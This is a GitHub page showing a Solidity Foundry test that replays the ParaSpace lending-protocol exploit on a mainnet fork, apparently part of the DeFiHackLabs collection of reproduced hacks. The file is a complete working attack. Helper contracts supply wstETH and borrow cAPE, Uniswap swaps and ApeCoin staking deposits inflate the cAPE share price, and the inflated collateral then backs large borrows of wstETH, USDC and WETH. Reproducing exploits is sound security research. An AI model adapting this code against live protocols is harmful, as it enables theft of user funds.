forked from zhouxianyuan/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 2
/
paraspace_exp.sol
405 lines (370 loc) · 11.8 KB
/
paraspace_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
// @Analysis
// https://twitter.com/BlockSecTeam/status/1636650252844294144
// @TX
// https://etherscan.io/tx/0xe3f0d14cfb6076cabdc9057001c3fafe28767a192e88005bc37bd7d385a1116a
contract ContractTest is DSTest {
address _pcAPE = 0xDDDe38696FBe5d11497D72d8801F651642d62353;
address _vDebtUSDC = 0x1B36ad30F6866716FF08EB599597D8CE7607571d;
address _vDebtwstETH = 0xCA76D6D905b08e3224945bFA0340E92CCbbE5171;
address _vDebtWETH = 0x87F92191e14d970f919268045A57f7bE84559CEA;
address _APE = 0x4d224452801ACEd8B2F0aebE155379bb5D594381;
address _USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address _ParaProxy = 0x638a98BBB92a7582d07C52ff407D49664DC8b3Ee;
address _WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _wstETH = 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0;
address _cAPE = 0xC5c9fB6223A989208Df27dCEE33fC59ff5c26fFF;
address _Apecoin__Staking = 0x5954aB967Bc958940b7EB73ee84797Dc8a2AFbb9;
address _Uniswap_V3__Router = 0xE592427A0AEce92De3Edee1F18E0157C05861564;
address _proxy = 0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2;
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public {
cheats.createSelectFork("mainnet", 16845558);
cheats.label(0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0, "_wstETH");
cheats.label(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, "_WETH");
cheats.label(0xDDDe38696FBe5d11497D72d8801F651642d62353, "_pcAPE");
cheats.label(0x4d224452801ACEd8B2F0aebE155379bb5D594381, "_APE");
cheats.label(0x1B36ad30F6866716FF08EB599597D8CE7607571d, "_vDebtUSDC");
cheats.label(0xC5c9fB6223A989208Df27dCEE33fC59ff5c26fFF, "_cAPE");
cheats.label(0xCA76D6D905b08e3224945bFA0340E92CCbbE5171, "_vDebtwstETH");
cheats.label(0x87F92191e14d970f919268045A57f7bE84559CEA, "_vDebtWETH");
cheats.label(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48, "_USDC");
cheats.label(0x638a98BBB92a7582d07C52ff407D49664DC8b3Ee, "_ParaProxy");
cheats.label(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2, "_proxy");
cheats.label(
0x5954aB967Bc958940b7EB73ee84797Dc8a2AFbb9,
"_Apecoin__Staking"
);
cheats.label(
0xE592427A0AEce92De3Edee1F18E0157C05861564,
"_Uniswap_V3__Router"
);
}
function testExploit() external {
emit log_named_uint(
"Before exploit, _WETH balance of Attacker:",
IERC20(_WETH).balanceOf(address(this))
);
emit log_named_uint(
"Before exploit, _pcAPE balance of Exploit:",
IERC20(_pcAPE).balanceOf(address(this))
);
emit log_named_uint(
"Before exploit, _vDebtUSDC balance of Exploit:",
IERC20(_vDebtUSDC).balanceOf(address(this))
);
emit log_named_uint(
"Before exploit, _vDebtWETH balance of Exploit:",
IERC20(_vDebtWETH).balanceOf(address(this))
);
emit log_named_uint(
"Before exploit, _cAPE balance of Exploit:",
IERC20(_cAPE).balanceOf(address(this))
);
emit log_named_uint(
"Before exploit, _vDebtwstETH balance of Exploit:",
IERC20(_vDebtwstETH).balanceOf(address(this))
);
// () -> ()
_proxy.call(
abi.encodePacked(
bytes4(0x42b0b77c),
abi.encode(
address(this),
_wstETH,
uint256(47352823905004708422332),
new bytes(0),
uint16(0)
)
)
);
emit log_named_uint(
"After exploit, _WETH balance of Attacker:",
IERC20(_WETH).balanceOf(address(this))
);
emit log_named_uint(
"After exploit, _pcAPE balance of Exploit:",
IERC20(_pcAPE).balanceOf(address(this))
);
emit log_named_uint(
"After exploit, _vDebtUSDC balance of Exploit:",
IERC20(_vDebtUSDC).balanceOf(address(this))
);
emit log_named_uint(
"After exploit, _vDebtWETH balance of Exploit:",
IERC20(_vDebtWETH).balanceOf(address(this))
);
emit log_named_uint(
"After exploit, _cAPE balance of Exploit:",
IERC20(_cAPE).balanceOf(address(this))
);
emit log_named_uint(
"After exploit, _vDebtwstETH balance of Exploit:",
IERC20(_vDebtwstETH).balanceOf(address(this))
);
}
struct ExactInputSingleParams {
address tokenIn;
address tokenOut;
uint24 fee;
address recipient;
uint256 deadline;
uint256 amountIn;
uint256 amountOutMinimum;
uint160 sqrtPriceLimitX96;
}
struct ExactOutputSingleParams {
address tokenIn;
address tokenOut;
uint24 fee;
address recipient;
uint256 deadline;
uint256 amountOut;
uint256 amountInMaximum;
uint160 sqrtPriceLimitX96;
}
function executeOperation(
address asset,
uint256 amount,
uint256 premium,
address initiator,
bytes calldata params
) public payable returns (bool) {
// approve(spender, amount) -> (bool _: true)
_cAPE.call(
abi.encodePacked(
bytes4(0x095ea7b3),
abi.encode(_ParaProxy, type(uint256).max)
)
);
for (uint256 i = 0; i < 8; i++) {
Slave _slave = new Slave();
if (i == 6) {
// transfer(recipient, amount) -> (bool _: true)
_wstETH.call(
abi.encodePacked(
bytes4(0xa9059cbb),
abi.encode(address(_slave), uint256(3676225912400376673786))
)
);
_slave.remove(1120000000000000000000000);
} else {
// transfer(recipient, amount) -> (bool _: true)
_wstETH.call(
abi.encodePacked(
bytes4(0xa9059cbb),
abi.encode(address(_slave), uint256(6039513998943475964078))
)
);
_slave.remove(1840000000000000000000000);
}
if (i != 7) {
// supply(asset, amount, onBehalfOf, referralCode) -> ()
_ParaProxy.call(
abi.encodePacked(
bytes4(0x617ba037),
abi.encode(
_cAPE,
IERC20(_cAPE).balanceOf(address(this)),
address(this),
uint256(0)
)
)
);
}
}
// approve(spender, amount) -> (bool _: true)
_wstETH.call(
abi.encodePacked(
bytes4(0x095ea7b3),
abi.encode(_Uniswap_V3__Router, type(uint256).max)
)
);
// exactInputSingle(ExactInputSingleParams calldata params) -> (uint256 amountOut) 1334451948153998962969
ExactInputSingleParams memory _var4 = ExactInputSingleParams({
tokenIn: _wstETH,
tokenOut: _WETH,
fee: 500,
recipient: address(this),
deadline: block.timestamp + 1000,
amountIn: 1400000000000000000000,
amountOutMinimum: 1300000000000000000000,
sqrtPriceLimitX96: 0
});
_Uniswap_V3__Router.call(
abi.encodePacked(bytes4(0x414bf389), abi.encode(_var4))
);
// approve(spender, amount) -> (bool _: true)
_WETH.call(
abi.encodePacked(
bytes4(0x095ea7b3),
abi.encode(_Uniswap_V3__Router, type(uint256).max)
)
);
// exactInputSingle(ExactInputSingleParams calldata params) -> (uint256 amountOut) 492214464588784613678468
ExactInputSingleParams memory _var6 = ExactInputSingleParams({
tokenIn: _WETH,
tokenOut: _APE,
fee: 3000,
recipient: address(this),
deadline: block.timestamp + 1000,
amountIn: IERC20(_WETH).balanceOf(address(this)),
amountOutMinimum: 480000000000000000000000,
sqrtPriceLimitX96: 0
});
_Uniswap_V3__Router.call(
abi.encodePacked(bytes4(0x414bf389), abi.encode(_var6))
);
// withdraw(amount) -> ()
_cAPE.call(
abi.encodePacked(
bytes4(0x2e1a7d4d),
abi.encode(IERC20(_cAPE).balanceOf(address(this)))
)
);
// approve(spender, amount) -> (bool _: true)
_APE.call(
abi.encodePacked(
bytes4(0x095ea7b3),
abi.encode(_Apecoin__Staking, type(uint256).max)
)
);
// depositApeCoin(amount,recipient) -> ()
_Apecoin__Staking.call(
abi.encodePacked(
bytes4(0xbd5023a9),
abi.encode(IERC20(_APE).balanceOf(address(this)), _cAPE)
)
);
// approve(spender, amount) -> (bool _: true)
_cAPE.call(
abi.encodePacked(
bytes4(0x095ea7b3),
abi.encode(_ParaProxy, type(uint256).max)
)
);
// borrow(asset, amount, referralCode, onBehalfOf) -> ()
_ParaProxy.call(
abi.encodePacked(
bytes4(0x1d5d7237),
abi.encode(
_wstETH,
uint256(44952823905004708422332),
uint256(0),
address(this)
)
)
);
// borrow(asset, amount, referralCode, onBehalfOf) -> ()
_ParaProxy.call(
abi.encodePacked(
bytes4(0x1d5d7237),
abi.encode(_USDC, uint256(7200000000000), uint256(0), address(this))
)
);
// borrow(asset, amount, referralCode, onBehalfOf) -> ()
_ParaProxy.call(
abi.encodePacked(
bytes4(0x1d5d7237),
abi.encode(
_WETH,
uint256(1200000000000000000000),
uint256(0),
address(this)
)
)
);
// approve(spender, amount) -> (bool _: true)
_USDC.call(
abi.encodePacked(
bytes4(0x095ea7b3),
abi.encode(_Uniswap_V3__Router, type(uint256).max)
)
);
// exactInputSingle(ExactInputSingleParams calldata params) -> (uint256 amountOut)
ExactInputSingleParams memory _var9 = ExactInputSingleParams({
tokenIn: _USDC,
tokenOut: _WETH,
fee: 500,
recipient: address(this),
deadline: block.timestamp + 1000,
amountIn: IERC20(_USDC).balanceOf(address(this)),
amountOutMinimum: 4042105262,
sqrtPriceLimitX96: 0
});
_Uniswap_V3__Router.call(
abi.encodePacked(bytes4(0x414bf389), abi.encode(_var9))
);
// approve(spender, amount) -> (bool _: true) --- TOTAL DEBT TO PAY THE LOAN
_wstETH.call(
abi.encodePacked(
bytes4(0x095ea7b3),
abi.encode(_proxy, uint256(47376500316957210776543))
)
);
// exactOutputSingle(ExactOutputSingleParams calldata params) -> (uint256 amountOut)
ExactOutputSingleParams memory _var11 = ExactOutputSingleParams({
tokenIn: _WETH,
tokenOut: _wstETH,
fee: 500,
recipient: address(this),
deadline: block.timestamp + 1000,
amountOut: 47376500316957210776543 -
IERC20(_wstETH).balanceOf(address(this)),
amountInMaximum: 2675071643612383606774,
sqrtPriceLimitX96: 0
});
_Uniswap_V3__Router.call(
abi.encodePacked(bytes4(0xdb3e2198), abi.encode(_var11))
);
// true
return true;
}
receive() external payable {}
}
contract Slave {
address _wstETH = 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0;
address _cAPE = 0xC5c9fB6223A989208Df27dCEE33fC59ff5c26fFF;
address _ParaProxy = 0x638a98BBB92a7582d07C52ff407D49664DC8b3Ee;
constructor() {
// approve(spender, amount) -> (bool _: true)
(, bytes memory returned0) = _wstETH.call(
abi.encodePacked(
bytes4(0x095ea7b3),
abi.encode(_ParaProxy, type(uint256).max)
)
);
bool _var0 = abi.decode(returned0, (bool));
}
function remove(uint256 _amountOfShares) public payable {
// supply(asset, amount, onBehalfOf, referralCode) -> ()
_ParaProxy.call(
abi.encodePacked(
bytes4(0x617ba037),
abi.encode(
_wstETH,
IERC20(_wstETH).balanceOf(address(this)),
address(this),
uint256(0)
)
)
);
// borrow(asset, amount, referralCode, onBehalfOf) -> ()
_ParaProxy.call(
abi.encodePacked(
bytes4(0x1d5d7237),
abi.encode(_cAPE, uint256(_amountOfShares), uint256(0), address(this))
)
);
// transfer(recipient, amount) -> (bool _: true)
_cAPE.call(
abi.encodePacked(
bytes4(0xa9059cbb),
abi.encode(msg.sender, IERC20(_cAPE).balanceOf(address(this)))
)
);
}
}